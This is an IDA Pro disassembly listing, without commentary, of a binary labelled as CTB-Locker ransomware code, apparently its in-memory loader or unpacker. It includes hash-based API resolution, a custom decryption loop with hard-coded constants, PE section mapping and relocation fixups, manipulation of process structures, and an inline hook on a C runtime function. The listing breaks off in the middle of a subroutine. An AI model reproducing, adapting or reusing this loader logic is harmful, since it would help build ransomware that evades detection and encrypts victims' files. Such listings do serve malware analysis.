seg000:00000000 ; seg000:00000000 ; +-------------------------------------------------------------------------+ seg000:00000000 ; | This file is generated by The Interactive Disassembler (IDA) | seg000:00000000 ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | seg000:00000000 ; | Licensed to: | seg000:00000000 ; +-------------------------------------------------------------------------+ seg000:00000000 ; seg000:00000000 ; Input MD5 : 3485EC90B03257E1A0AF76E951B40AB7 seg000:00000000 seg000:00000000 ; --------------------------------------------------------------------------- seg000:00000000 ; File Name : CTB-Locker_real_code.bin seg000:00000000 ; Format : Binary file seg000:00000000 ; Base Address: 0000h Range: 0000h - 1000h Loaded length: 1000h seg000:00000000 seg000:00000000 .686p seg000:00000000 .mmx seg000:00000000 .model flat seg000:00000000 seg000:00000000 ; =========================================================================== seg000:00000000 seg000:00000000 ; Segment type: Regular seg000:00000000 seg000 segment byte public '' use32 seg000:00000000 assume cs:seg000 seg000:00000000 assume es:nothing, ss:nothing, ds:nothing, fs:nothing, gs:nothing seg000:00000000 mov esi, [esp+4] seg000:00000004 push ebp seg000:00000005 call loc_1B9 seg000:0000000A pop eax seg000:0000000B push eax seg000:0000000C call esi seg000:0000000E mov ebx, eax seg000:00000010 add eax, [ebx+3Ch] seg000:00000013 call loc_5F5 seg000:00000018 seg000:00000018 loc_18: ; DATA XREF: seg000:0000017Cr seg000:00000018 ; sub_400+30r ... seg000:00000018 pop ebp seg000:00000019 mov esi, ebp seg000:0000001B mov ecx, 11h seg000:00000020 seg000:00000020 loc_20: ; CODE XREF: seg000:00000029j seg000:00000020 lodsd seg000:00000021 call sub_31B seg000:00000026 mov [esi-4], eax seg000:00000029 loop loc_20 seg000:0000002B mov eax, [ebp+2Ch] seg000:0000002E seg000:0000002E loc_2E: ; DATA XREF: seg000:0000014Cr seg000:0000002E cmp byte ptr [eax], 8Bh ; 'ï' seg000:00000031 jnz short loc_34 seg000:00000033 retn seg000:00000034 ; --------------------------------------------------------------------------- seg000:00000034 seg000:00000034 loc_34: ; CODE XREF: seg000:00000031j seg000:00000034 call loc_1B9 seg000:00000039 pop edi seg000:0000003A add edi, 0Dh seg000:0000003D push edi seg000:0000003E push ebx seg000:0000003F call dword ptr [ebp+8] seg000:00000042 mov [esi], eax seg000:00000044 add edi, 0Ah seg000:00000047 push edi seg000:00000048 push ebx seg000:00000049 call dword ptr [ebp+8] seg000:0000004C mov [esi+4], eax seg000:0000004F add edi, 9 seg000:00000052 push edi seg000:00000053 push ebx seg000:00000054 call dword ptr [ebp+8] seg000:00000057 mov [esi+8], eax seg000:0000005A push 40h ; '@' seg000:0000005C push 1000h seg000:00000061 push 674h seg000:00000066 push 0 seg000:00000068 call dword ptr [ebp+10h] seg000:0000006B mov edi, eax seg000:0000006D add eax, 81h ; 'ü' seg000:00000072 push eax seg000:00000073 lea esi, [ebp-5F8h] seg000:00000079 mov ecx, 674h seg000:0000007E rep movsb seg000:00000080 retn seg000:00000081 ; --------------------------------------------------------------------------- seg000:00000081 call loc_5F5 seg000:00000086 pop ebp seg000:00000087 pop esi seg000:00000088 xchg esi, [esp] seg000:0000008B push esi seg000:0000008C call sub_58F seg000:00000091 call sub_5D2 seg000:00000096 push edi seg000:00000097 mov ecx, [ebp+70h] seg000:0000009A mov esi, ebx seg000:0000009C add esi, [ebp+6Ch] seg000:0000009F rep movsb seg000:000000A1 pop esi seg000:000000A2 call sub_4A1 seg000:000000A7 mov eax, [esi+3Ch] seg000:000000AA lea eax, [esi+eax] seg000:000000AD mov edi, [ebp+74h] seg000:000000B0 push eax seg000:000000B1 push esp seg000:000000B2 push 4 seg000:000000B4 push edi seg000:000000B5 push ebx seg000:000000B6 call dword ptr [ebp+0Ch] seg000:000000B9 push esp seg000:000000BA push 2 seg000:000000BC push edi seg000:000000BD push ebx seg000:000000BE push esi seg000:000000BF mov ecx, edi seg000:000000C1 mov edi, ebx seg000:000000C3 rep movsb seg000:000000C5 pop esi seg000:000000C6 call dword ptr [ebp+0Ch] seg000:000000C9 pop eax seg000:000000CA mov ecx, esi seg000:000000CC add ecx, [ecx+3Ch] seg000:000000CF lea edi, [ecx+18h] seg000:000000D2 mov edx, [edi+20h] seg000:000000D5 movzx eax, word ptr [ecx+14h] seg000:000000D9 add edi, eax seg000:000000DB movzx ecx, word ptr [ecx+6] seg000:000000DF seg000:000000DF loc_DF: ; CODE XREF: seg000:0000012Dj seg000:000000DF pusha seg000:000000E0 mov eax, [edi+8] seg000:000000E3 test eax, eax seg000:000000E5 jz short loc_129 seg000:000000E7 call sub_5BE seg000:000000EC mov ecx, eax seg000:000000EE mov eax, [edi+24h] seg000:000000F1 call sub_3A5 seg000:000000F6 add esi, [edi+14h] seg000:000000F9 push dword ptr [edi+10h] seg000:000000FC mov edi, [edi+0Ch] seg000:000000FF add edi, ebx seg000:00000101 pop ebx seg000:00000102 push eax seg000:00000103 mov edx, esp seg000:00000105 push edx seg000:00000106 push eax seg000:00000107 push ecx seg000:00000108 push edi seg000:00000109 push ecx seg000:0000010A push edx seg000:0000010B push 4 seg000:0000010D push ecx seg000:0000010E push edi seg000:0000010F call dword ptr [ebp+0Ch] seg000:00000112 pop ecx seg000:00000113 xor eax, eax seg000:00000115 push edi seg000:00000116 rep stosb seg000:00000118 pop edi seg000:00000119 test esi, esi seg000:0000011B jz short loc_125 seg000:0000011D test ebx, ebx seg000:0000011F jz short loc_125 seg000:00000121 mov ecx, ebx seg000:00000123 rep movsb seg000:00000125 seg000:00000125 loc_125: ; CODE XREF: seg000:0000011Bj seg000:00000125 ; seg000:0000011Fj seg000:00000125 call dword ptr [ebp+0Ch] seg000:00000128 pop eax seg000:00000129 seg000:00000129 loc_129: ; CODE XREF: seg000:000000E5j seg000:00000129 popa seg000:0000012A add edi, 28h ; '(' seg000:0000012D loop loc_DF seg000:0000012F call sub_271 seg000:00000134 call sub_1EC seg000:00000139 pop eax seg000:0000013A push 4000h seg000:0000013F push dword ptr [ebp+70h] seg000:00000142 push esi seg000:00000143 mov edi, ebx seg000:00000145 mov esi, eax seg000:00000147 call sub_58F seg000:0000014C push dword ptr fs:loc_2E+2 seg000:00000153 pop eax seg000:00000154 mov eax, [eax+0Ch] seg000:00000157 mov eax, [eax+0Ch] seg000:0000015A seg000:0000015A loc_15A: ; CODE XREF: seg000:00000161j seg000:0000015A cmp [eax+18h], ebx seg000:0000015D jz short loc_163 seg000:0000015F mov eax, [eax] seg000:00000161 jmp short loc_15A seg000:00000163 ; --------------------------------------------------------------------------- seg000:00000163 seg000:00000163 loc_163: ; CODE XREF: seg000:0000015Dj seg000:00000163 mov ecx, [esp] seg000:00000166 add ecx, [ecx+3Ch] seg000:00000169 mov esi, [ecx+28h] seg000:0000016C add esi, edi seg000:0000016E mov [eax+18h], edi seg000:00000171 mov [eax+1Ch], esi seg000:00000174 test word ptr [ecx+16h], 2000h seg000:0000017A jnz short loc_188 seg000:0000017C mov eax, dword ptr fs:loc_18 seg000:00000182 mov eax, [eax+30h] seg000:00000185 mov [eax+8], edi seg000:00000188 seg000:00000188 loc_188: ; CODE XREF: seg000:0000017Aj seg000:00000188 call dword ptr [ebp+14h] seg000:0000018B call sub_3E5 seg000:00000190 pop esp seg000:00000191 pop ebp seg000:00000192 mov [esp+1Ch], esi seg000:00000196 call loc_5F5 seg000:0000019B pop eax seg000:0000019C cmp dword ptr [eax+64h], 200h seg000:000001A3 jnz short loc_1B4 seg000:000001A5 mov eax, [esp] seg000:000001A8 mov dword ptr [esp], 0 seg000:000001AF push dword ptr [esp+4] seg000:000001B3 push eax seg000:000001B4 seg000:000001B4 loc_1B4: ; CODE XREF: seg000:000001A3j seg000:000001B4 popa seg000:000001B5 push eax seg000:000001B6 xor eax, eax seg000:000001B8 retn seg000:000001B9 ; --------------------------------------------------------------------------- seg000:000001B9 seg000:000001B9 loc_1B9: ; CODE XREF: seg000:00000005p seg000:000001B9 ; seg000:loc_34p seg000:000001B9 pop eax seg000:000001BA call eax seg000:000001BC dec ebx seg000:000001BD db 65h seg000:000001BD jb short near ptr loc_22D+1 seg000:000001C0 db 65h seg000:000001C0 insb seg000:000001C2 xor esi, [edx] seg000:000001C4 db 2Eh, 64h seg000:000001C4 insb seg000:000001C7 insb seg000:000001C8 add [eax+65h], cl seg000:000001CB popa seg000:000001CC jo short loc_20F seg000:000001CE insb seg000:000001CF insb seg000:000001D0 outsd seg000:000001D1 arpl [eax], ax seg000:000001D3 dec eax seg000:000001D4 db 65h seg000:000001D4 popa seg000:000001D6 jo short near ptr loc_21D+1 seg000:000001D8 jb short loc_23F seg000:000001DA add gs:[edi+65h], al seg000:000001DE jz short near ptr loc_233+1 seg000:000001E0 imul esp, [ebx+6Bh], 6E756F43h seg000:000001E7 jz short $+2 seg000:000001E7 ; --------------------------------------------------------------------------- seg000:000001E9 db 0 seg000:000001EA db 0 seg000:000001EB db 0 seg000:000001EC seg000:000001EC ; =============== S U B R O U T I N E ======================================= seg000:000001EC seg000:000001EC seg000:000001EC sub_1EC proc near ; CODE XREF: seg000:00000134p seg000:000001EC seg000:000001EC var_14 = dword ptr -14h seg000:000001EC seg000:000001EC pusha seg000:000001ED mov esi, ebx seg000:000001EF add esi, [esi+3Ch] seg000:000001F2 mov esi, [esi+80h] seg000:000001F8 test esi, esi seg000:000001FA jz short loc_26F seg000:000001FC add esi, ebx seg000:000001FE seg000:000001FE loc_1FE: ; CODE XREF: sub_1EC+81j seg000:000001FE mov edi, [esi+0Ch] seg000:00000201 test edi, edi seg000:00000203 jz short loc_26F seg000:00000205 add edi, ebx seg000:00000207 push edi seg000:00000208 call dword ptr [ebp+4] seg000:0000020B test eax, eax seg000:0000020D jnz short loc_213 seg000:0000020F seg000:0000020F loc_20F: ; CODE XREF: seg000:000001CCj seg000:0000020F push edi seg000:00000210 call dword ptr [ebp+0] seg000:00000213 seg000:00000213 loc_213: ; CODE XREF: sub_1EC+21j seg000:00000213 push eax seg000:00000214 push esi seg000:00000215 mov esi, [esi+10h] seg000:00000218 add esi, ebx seg000:0000021A mov edi, esi seg000:0000021C seg000:0000021C loc_21C: ; CODE XREF: sub_1EC+33j seg000:0000021C lodsd seg000:0000021D seg000:0000021D loc_21D: ; CODE XREF: seg000:000001D6j seg000:0000021D test eax, eax seg000:0000021F jnz short loc_21C seg000:00000221 sub esi, edi seg000:00000223 mov ecx, esi seg000:00000225 pop esi seg000:00000226 push ecx seg000:00000227 push eax seg000:00000228 push esp seg000:00000229 push 4 seg000:0000022B push ecx seg000:0000022C push edi seg000:0000022D seg000:0000022D loc_22D: ; CODE XREF: seg000:000001BDj seg000:0000022D call dword ptr [ebp+0Ch] seg000:00000230 push esi seg000:00000231 mov eax, [esi] seg000:00000233 seg000:00000233 loc_233: ; CODE XREF: seg000:000001DEj seg000:00000233 test eax, eax seg000:00000235 jnz short loc_23A seg000:00000237 mov eax, [esi+10h] seg000:0000023A seg000:0000023A loc_23A: ; CODE XREF: sub_1EC+49j seg000:0000023A lea esi, [ebx+eax] seg000:0000023D push edi seg000:0000023E seg000:0000023E loc_23E: ; CODE XREF: sub_1EC+70j seg000:0000023E lodsd seg000:0000023F seg000:0000023F loc_23F: ; CODE XREF: seg000:000001D8j seg000:0000023F test eax, eax seg000:00000241 jz short loc_25E seg000:00000243 test eax, 80000000h seg000:00000248 jnz short loc_24E seg000:0000024A lea eax, [ebx+eax+2] seg000:0000024E seg000:0000024E loc_24E: ; CODE XREF: sub_1EC+5Cj seg000:0000024E and eax, 7FFFFFFFh seg000:00000253 push eax seg000:00000254 push [esp+28h+var_14] seg000:00000258 call dword ptr [ebp+8] seg000:0000025B stosd seg000:0000025C jmp short loc_23E seg000:0000025E ; --------------------------------------------------------------------------- seg000:0000025E seg000:0000025E loc_25E: ; CODE XREF: sub_1EC+55j seg000:0000025E pop edi seg000:0000025F pop esi seg000:00000260 pop eax seg000:00000261 pop ecx seg000:00000262 push esp seg000:00000263 push eax seg000:00000264 push ecx seg000:00000265 push edi seg000:00000266 call dword ptr [ebp+0Ch] seg000:00000269 pop eax seg000:0000026A add esi, 14h seg000:0000026D jmp short loc_1FE seg000:0000026F ; --------------------------------------------------------------------------- seg000:0000026F seg000:0000026F loc_26F: ; CODE XREF: sub_1EC+Ej seg000:0000026F ; sub_1EC+17j seg000:0000026F popa seg000:00000270 retn seg000:00000270 sub_1EC endp seg000:00000270 seg000:00000271 seg000:00000271 ; =============== S U B R O U T I N E ======================================= seg000:00000271 seg000:00000271 seg000:00000271 sub_271 proc near ; CODE XREF: seg000:0000012Fp seg000:00000271 seg000:00000271 var_50 = dword ptr -50h seg000:00000271 var_30 = dword ptr -30h seg000:00000271 var_4 = byte ptr -4 seg000:00000271 seg000:00000271 pusha seg000:00000272 mov edx, ebx seg000:00000274 mov esi, edx seg000:00000276 add esi, [esi+3Ch] seg000:00000279 sub edx, [esi+34h] seg000:0000027C test edx, edx seg000:0000027E jz loc_319 seg000:00000284 mov ecx, [esi+0A4h] seg000:0000028A mov esi, [esi+0A0h] seg000:00000290 test esi, esi seg000:00000292 jz loc_319 seg000:00000298 add esi, ebx seg000:0000029A seg000:0000029A loc_29A: ; CODE XREF: sub_271+A6j seg000:0000029A lodsd seg000:0000029B mov edi, eax seg000:0000029D add edi, ebx seg000:0000029F push eax seg000:000002A0 mov eax, esp seg000:000002A2 push eax seg000:000002A3 push ecx seg000:000002A4 push edx seg000:000002A5 push eax seg000:000002A6 push 4 seg000:000002A8 push 1000h seg000:000002AD push edi seg000:000002AE sub eax, 4 seg000:000002B1 push eax seg000:000002B2 push 4 seg000:000002B4 push 1000h seg000:000002B9 push edi seg000:000002BA add [esp+50h+var_50], 1000h seg000:000002C1 call dword ptr [ebp+0Ch] seg000:000002C4 call dword ptr [ebp+0Ch] seg000:000002C7 pop edx seg000:000002C8 pop ecx seg000:000002C9 lodsd seg000:000002CA sub ecx, eax seg000:000002CC push ecx seg000:000002CD mov ecx, eax seg000:000002CF shr ecx, 1 seg000:000002D1 sub ecx, 4 seg000:000002D4 xor eax, eax seg000:000002D6 seg000:000002D6 loc_2D6: ; CODE XREF: sub_271:loc_2E6j seg000:000002D6 lodsw seg000:000002D8 test ax, 3000h seg000:000002DC jz short loc_2E6 seg000:000002DE and eax, 0FFFh seg000:000002E3 add [edi+eax], edx seg000:000002E6 seg000:000002E6 loc_2E6: ; CODE XREF: sub_271+6Bj seg000:000002E6 loop loc_2D6 seg000:000002E8 pop ecx seg000:000002E9 lea eax, [esp+8+var_4] seg000:000002ED push ecx seg000:000002EE push edx seg000:000002EF push eax seg000:000002F0 push dword ptr [eax] seg000:000002F2 push 1000h seg000:000002F7 push edi seg000:000002F8 sub eax, 4 seg000:000002FB push eax seg000:000002FC push dword ptr [eax] seg000:000002FE push 1000h seg000:00000303 push edi seg000:00000304 add [esp+30h+var_30], 1000h seg000:0000030B call dword ptr [ebp+0Ch] seg000:0000030E call dword ptr [ebp+0Ch] seg000:00000311 pop edx seg000:00000312 pop ecx seg000:00000313 pop eax seg000:00000314 pop eax seg000:00000315 test ecx, ecx seg000:00000317 jnz short loc_29A seg000:00000319 seg000:00000319 loc_319: ; CODE XREF: sub_271+Dj seg000:00000319 ; sub_271+21j seg000:00000319 popa seg000:0000031A retn seg000:0000031A sub_271 endp seg000:0000031A seg000:0000031B seg000:0000031B ; =============== S U B R O U T I N E ======================================= seg000:0000031B seg000:0000031B seg000:0000031B sub_31B proc near ; CODE XREF: seg000:00000021p seg000:0000031B seg000:0000031B var_28 = dword ptr -28h seg000:0000031B var_24 = dword ptr -24h seg000:0000031B var_4 = dword ptr -4 seg000:0000031B seg000:0000031B ; FUNCTION CHUNK AT seg000:00000325 SIZE 00000080 BYTES seg000:0000031B seg000:0000031B pusha seg000:0000031C jmp short loc_325 seg000:0000031C sub_31B endp seg000:0000031C seg000:0000031E seg000:0000031E ; =============== S U B R O U T I N E ======================================= seg000:0000031E seg000:0000031E seg000:0000031E sub_31E proc near ; CODE XREF: sub_31E+1j seg000:0000031E ; sub_31B+13p ... seg000:0000031E lodsd seg000:0000031F loop sub_31E seg000:00000321 lea esi, [ebx+eax] seg000:00000324 retn seg000:00000324 sub_31E endp seg000:00000324 seg000:00000325 ; --------------------------------------------------------------------------- seg000:00000325 ; START OF FUNCTION CHUNK FOR sub_31B seg000:00000325 seg000:00000325 loc_325: ; CODE XREF: sub_31B+1j seg000:00000325 mov ebp, eax seg000:00000327 mov esi, ebx seg000:00000329 mov ecx, 10h seg000:0000032E call sub_31E seg000:00000333 mov ecx, 1Fh seg000:00000338 call sub_31E seg000:0000033D push esi seg000:0000033E mov ecx, 7 seg000:00000343 call sub_31E seg000:00000348 mov edx, eax seg000:0000034A mov esi, [esp+24h+var_24] seg000:0000034D mov ecx, 9 seg000:00000352 call sub_31E seg000:00000357 mov edi, esi seg000:00000359 seg000:00000359 loc_359: ; CODE XREF: sub_31B+5Fj seg000:00000359 mov ecx, edx seg000:0000035B call sub_31E seg000:00000360 xor eax, eax seg000:00000362 push eax seg000:00000363 seg000:00000363 loc_363: ; CODE XREF: sub_31B+55j seg000:00000363 ror eax, 7 seg000:00000366 rol [esp+28h+var_28], 0Dh seg000:0000036A add [esp+28h+var_28], eax seg000:0000036D lodsb seg000:0000036E test al, al seg000:00000370 jnz short loc_363 seg000:00000372 pop eax seg000:00000373 mov esi, edi seg000:00000375 cmp eax, ebp seg000:00000377 jz short loc_37C seg000:00000379 dec edx seg000:0000037A jnz short loc_359 seg000:0000037C seg000:0000037C loc_37C: ; CODE XREF: sub_31B+5Cj seg000:0000037C mov esi, [esp+24h+var_24] seg000:0000037F mov ecx, 0Ah seg000:00000384 call sub_31E seg000:00000389 movzx ecx, word ptr [esi+edx*2] seg000:0000038D pop esi seg000:0000038E push ecx seg000:0000038F mov ecx, 8 seg000:00000394 call sub_31E seg000:00000399 pop ecx seg000:0000039A call sub_31E seg000:0000039F mov [esp+20h+var_4], esi seg000:000003A3 popa seg000:000003A4 retn seg000:000003A4 ; END OF FUNCTION CHUNK FOR sub_31B seg000:000003A5 seg000:000003A5 ; =============== S U B R O U T I N E ======================================= seg000:000003A5 seg000:000003A5 seg000:000003A5 sub_3A5 proc near ; CODE XREF: seg000:000000F1p seg000:000003A5 push ecx seg000:000003A6 shr eax, 1Dh seg000:000003A9 mov ecx, 20h ; ' ' seg000:000003AE dec eax seg000:000003AF jz short loc_3E1 seg000:000003B1 mov ecx, 2 seg000:000003B6 dec eax seg000:000003B7 jz short loc_3E1 seg000:000003B9 mov ecx, 20h ; ' ' seg000:000003BE dec eax seg000:000003BF jz short loc_3E1 seg000:000003C1 mov ecx, 4 seg000:000003C6 dec eax seg000:000003C7 jz short loc_3E1 seg000:000003C9 mov ecx, 40h ; '@' seg000:000003CE dec eax seg000:000003CF jz short loc_3E1 seg000:000003D1 mov ecx, 4 seg000:000003D6 dec eax seg000:000003D7 jz short loc_3E1 seg000:000003D9 mov ecx, 40h ; '@' seg000:000003DE dec eax seg000:000003DF jz short $+2 seg000:000003E1 seg000:000003E1 loc_3E1: ; CODE XREF: sub_3A5+Aj seg000:000003E1 ; sub_3A5+12j ... seg000:000003E1 mov eax, ecx seg000:000003E3 pop ecx seg000:000003E4 retn seg000:000003E4 sub_3A5 endp seg000:000003E4 seg000:000003E5 seg000:000003E5 ; =============== S U B R O U T I N E ======================================= seg000:000003E5 seg000:000003E5 seg000:000003E5 sub_3E5 proc near ; CODE XREF: seg000:0000018Bp seg000:000003E5 pusha seg000:000003E6 cmp dword ptr [ebp+54h], 0 seg000:000003EA jz short loc_3FE seg000:000003EC call sub_400 seg000:000003F1 mov edi, [ebp+5Ch] seg000:000003F4 test edi, edi seg000:000003F6 jz short loc_3FE seg000:000003F8 stosd seg000:000003F9 call sub_4FB seg000:000003FE seg000:000003FE loc_3FE: ; CODE XREF: sub_3E5+5j seg000:000003FE ; sub_3E5+11j seg000:000003FE popa seg000:000003FF retn seg000:000003FF sub_3E5 endp seg000:000003FF seg000:00000400 seg000:00000400 ; =============== S U B R O U T I N E ======================================= seg000:00000400 seg000:00000400 seg000:00000400 sub_400 proc near ; CODE XREF: sub_3E5+7p seg000:00000400 seg000:00000400 arg_4 = dword ptr 8 seg000:00000400 seg000:00000400 pusha seg000:00000401 call dword ptr [ebp+3Ch] seg000:00000404 mov ebx, eax seg000:00000406 mov esi, [ebp+54h] seg000:00000409 mov eax, [ebp+58h] seg000:0000040C push eax seg000:0000040D push eax seg000:0000040E push 0C0000h seg000:00000413 push ebx seg000:00000414 call dword ptr [ebp+44h] seg000:00000417 pop ecx seg000:00000418 push eax seg000:00000419 mov edi, eax seg000:0000041B rep movsb seg000:0000041D call sub_45A seg000:00000422 dec eax seg000:00000423 mov [esp+18h+arg_4], eax seg000:00000427 mov edi, eax seg000:00000429 lea ecx, ds:4[edi*4] seg000:00000430 mov eax, dword ptr fs:loc_18 seg000:00000436 mov esi, [eax+2Ch] seg000:00000439 push ecx seg000:0000043A push 0C0000h seg000:0000043F push ebx seg000:00000440 call dword ptr [ebp+44h] seg000:00000443 lea ecx, [eax+edi*4] seg000:00000446 pop dword ptr [ecx] seg000:00000448 push eax seg000:00000449 mov ecx, edi seg000:0000044B mov edi, eax seg000:0000044D rep movsd seg000:0000044F mov eax, dword ptr fs:loc_18 seg000:00000455 pop dword ptr [eax+2Ch] seg000:00000458 popa seg000:00000459 retn seg000:00000459 sub_400 endp seg000:00000459 seg000:0000045A seg000:0000045A ; =============== S U B R O U T I N E ======================================= seg000:0000045A seg000:0000045A seg000:0000045A sub_45A proc near ; CODE XREF: sub_400+1Dp seg000:0000045A seg000:0000045A var_224 = dword ptr -224h seg000:0000045A var_4 = dword ptr -4 seg000:0000045A seg000:0000045A pusha seg000:0000045B sub esp, 220h seg000:00000461 push 224h seg000:00000466 xor esi, esi seg000:00000468 push 0 seg000:0000046A push 8 seg000:0000046C call dword ptr [ebp+1Ch] seg000:0000046F mov ebx, eax seg000:00000471 push esp seg000:00000472 push ebx seg000:00000473 call dword ptr [ebp+34h] seg000:00000476 seg000:00000476 loc_476: ; CODE XREF: sub_45A+35j seg000:00000476 mov eax, [esp+240h+var_224] seg000:0000047A add eax, [eax+3Ch] seg000:0000047D mov eax, [eax+0C0h] seg000:00000483 test eax, eax seg000:00000485 jz short loc_488 seg000:00000487 inc esi seg000:00000488 seg000:00000488 loc_488: ; CODE XREF: sub_45A+2Bj seg000:00000488 push esp seg000:00000489 push ebx seg000:0000048A call dword ptr [ebp+38h] seg000:0000048D test eax, eax seg000:0000048F jnz short loc_476 seg000:00000491 push ebx seg000:00000492 call dword ptr [ebp+18h] seg000:00000495 add esp, 224h seg000:0000049B mov [esp+20h+var_4], esi seg000:0000049F popa seg000:000004A0 retn seg000:000004A0 sub_45A endp seg000:000004A0 seg000:000004A1 seg000:000004A1 ; =============== S U B R O U T I N E ======================================= seg000:000004A1 seg000:000004A1 seg000:000004A1 sub_4A1 proc near ; CODE XREF: seg000:000000A2p seg000:000004A1 pusha seg000:000004A2 mov edx, [ebp+78h] seg000:000004A5 xor edx, 7845EA91h seg000:000004AB mov ecx, [ebp+70h] seg000:000004AE mov edi, esi seg000:000004B0 cmp dword ptr [ebp+60h], 0 seg000:000004B4 jz short loc_4B9 seg000:000004B6 add [ebp+60h], esi seg000:000004B9 seg000:000004B9 loc_4B9: ; CODE XREF: sub_4A1+13j seg000:000004B9 mov eax, [ebp+68h] seg000:000004BC test eax, eax seg000:000004BE jz short loc_4D5 seg000:000004C0 mov [esi+3Ch], eax seg000:000004C3 push edx seg000:000004C4 mov edx, 4 seg000:000004C9 call sub_5BE seg000:000004CE pop edx seg000:000004CF add esi, eax seg000:000004D1 add edi, eax seg000:000004D3 sub ecx, eax seg000:000004D5 seg000:000004D5 loc_4D5: ; CODE XREF: sub_4A1+1Dj seg000:000004D5 ; sub_4A1+56j seg000:000004D5 cmp esi, [ebp+60h] seg000:000004D8 jnz short loc_4E7 seg000:000004DA add esi, [ebp+64h] seg000:000004DD add edi, [ebp+64h] seg000:000004E0 sub ecx, [ebp+64h] seg000:000004E3 test ecx, ecx seg000:000004E5 jz short loc_4F9 seg000:000004E7 seg000:000004E7 loc_4E7: ; CODE XREF: sub_4A1+37j seg000:000004E7 lodsd seg000:000004E8 push eax seg000:000004E9 add eax, 8DFE4A22h seg000:000004EE bswap eax seg000:000004F0 xor eax, edx seg000:000004F2 pop edx seg000:000004F3 stosd seg000:000004F4 sub ecx, 3 seg000:000004F7 loop loc_4D5 seg000:000004F9 seg000:000004F9 loc_4F9: ; CODE XREF: sub_4A1+44j seg000:000004F9 popa seg000:000004FA retn seg000:000004FA sub_4A1 endp seg000:000004FA seg000:000004FB seg000:000004FB ; =============== S U B R O U T I N E ======================================= seg000:000004FB seg000:000004FB seg000:000004FB sub_4FB proc near ; CODE XREF: sub_3E5+14p seg000:000004FB seg000:000004FB var_40 = dword ptr -40h seg000:000004FB seg000:000004FB pusha seg000:000004FC push 6C6Ch seg000:00000501 push 642E7472h seg000:00000506 push 6376736Dh seg000:0000050B push esp seg000:0000050C call dword ptr [ebp+4] seg000:0000050F test eax, eax seg000:00000511 jnz short loc_51B seg000:00000513 push esp seg000:00000514 call dword ptr [ebp+0] seg000:00000517 test eax, eax seg000:00000519 jz short loc_568 seg000:0000051B seg000:0000051B loc_51B: ; CODE XREF: sub_4FB+16j seg000:0000051B push 0 seg000:0000051D push 66746E69h seg000:00000522 push 72707766h seg000:00000527 push esp seg000:00000528 push eax seg000:00000529 call dword ptr [ebp+8] seg000:0000052C add esp, 0Ch seg000:0000052F mov esi, eax seg000:00000531 push eax seg000:00000532 push esp seg000:00000533 push 40h ; '@' seg000:00000535 push 7 seg000:00000537 push esi seg000:00000538 call dword ptr [ebp+0Ch] seg000:0000053B pop eax seg000:0000053C push eax seg000:0000053D push esp seg000:0000053E push eax seg000:0000053F push 7 seg000:00000541 push esi seg000:00000542 call loc_56D seg000:00000547 mov edi, [esp+40h+var_40] seg000:0000054A add edi, 12h seg000:00000550 push 7 seg000:00000552 pop ecx seg000:00000553 rep movsb seg000:00000555 inc edi seg000:00000556 mov eax, esi seg000:00000558 stosd seg000:00000559 lea edi, [esi-7] seg000:0000055C mov al, 68h ; 'h' seg000:0000055E stosb seg000:0000055F pop eax seg000:00000560 stosd seg000:00000561 mov al, 0C3h ; '+' seg000:00000563 stosb seg000:00000564 call dword ptr [ebp+0Ch] seg000:00000567 pop eax seg000:00000568 seg000:00000568 loc_568: ; CODE XREF: sub_4FB+1Ej seg000:00000568 add esp, 0Ch seg000:0000056B popa seg000:0000056C retn seg000:0000056C sub_4FB endp seg000:0000056C seg000:0000056D ; --------------------------------------------------------------------------- seg000:0000056D seg000:0000056D loc_56D: ; CODE XREF: sub_4FB+47p seg000:0000056D pop eax seg000:0000056E call eax seg000:00000570 push ebp seg000:00000571 call loc_5F5 seg000:00000576 pop ebp seg000:00000577 lea eax, [ebp+78h] seg000:0000057A add eax, 4 seg000:0000057D mov [esp+10h], eax seg000:00000581 pop ebp seg000:00000581 ; --------------------------------------------------------------------------- seg000:00000582 db 0 seg000:00000583 db 0 seg000:00000584 db 0 seg000:00000585 db 0 seg000:00000586 db 0 seg000:00000587 db 0 seg000:00000588 db 0 seg000:00000589 db 68h ; h seg000:0000058A db 0 seg000:0000058B db 0 seg000:0000058C db 0 seg000:0000058D db 0 seg000:0000058E db 0C3h ; + seg000:0000058F seg000:0000058F ; =============== S U B R O U T I N E ======================================= seg000:0000058F seg000:0000058F seg000:0000058F sub_58F proc near ; CODE XREF: seg000:0000008Cp seg000:0000058F ; seg000:00000147p seg000:0000058F xor si, si seg000:00000592 seg000:00000592 loc_592: ; CODE XREF: sub_58F+14j seg000:00000592 mov dx, 5A4Dh seg000:00000596 lodsw seg000:00000598 xor dx, ax seg000:0000059B jz short loc_5A5 seg000:0000059D seg000:0000059D loc_59D: ; CODE XREF: sub_58F+1Bj seg000:0000059D ; sub_58F+2Cj seg000:0000059D sub esi, 1002h seg000:000005A3 jmp short loc_592 seg000:000005A5 ; --------------------------------------------------------------------------- seg000:000005A5 seg000:000005A5 loc_5A5: ; CODE XREF: sub_58F+Cj seg000:000005A5 lea ebx, [esi-2] seg000:000005A8 test bh, bh seg000:000005AA jnz short loc_59D seg000:000005AC mov esi, [esi+3Ah] seg000:000005AF mov dx, 4550h seg000:000005B3 lea esi, [esi+ebx] seg000:000005B6 lodsw seg000:000005B8 xor dx, ax seg000:000005BB jnz short loc_59D seg000:000005BD retn seg000:000005BD sub_58F endp seg000:000005BD seg000:000005BE seg000:000005BE ; =============== S U B R O U T I N E ======================================= seg000:000005BE seg000:000005BE seg000:000005BE sub_5BE proc near ; CODE XREF: seg000:000000E7p seg000:000005BE ; sub_4A1+28p seg000:000005BE push ecx seg000:000005BF xor ecx, ecx seg000:000005C1 seg000:000005C1 loc_5C1: ; CODE XREF: sub_5BE+Aj seg000:000005C1 inc ecx seg000:000005C2 sub eax, edx seg000:000005C4 js short loc_5CA seg000:000005C6 jz short loc_5CA seg000:000005C8 jmp short loc_5C1 seg000:000005CA ; --------------------------------------------------------------------------- seg000:000005CA seg000:000005CA loc_5CA: ; CODE XREF: sub_5BE+6j seg000:000005CA ; sub_5BE+8j seg000:000005CA xor eax, eax seg000:000005CC seg000:000005CC loc_5CC: ; CODE XREF: sub_5BE:loc_5CEj seg000:000005CC add eax, edx seg000:000005CE seg000:000005CE loc_5CE: ; CODE XREF: seg000:00000610j seg000:000005CE loop loc_5CC seg000:000005D0 pop ecx seg000:000005D1 retn seg000:000005D1 sub_5BE endp seg000:000005D1 seg000:000005D2 seg000:000005D2 ; =============== S U B R O U T I N E ======================================= seg000:000005D2 seg000:000005D2 seg000:000005D2 sub_5D2 proc near ; CODE XREF: seg000:00000091p seg000:000005D2 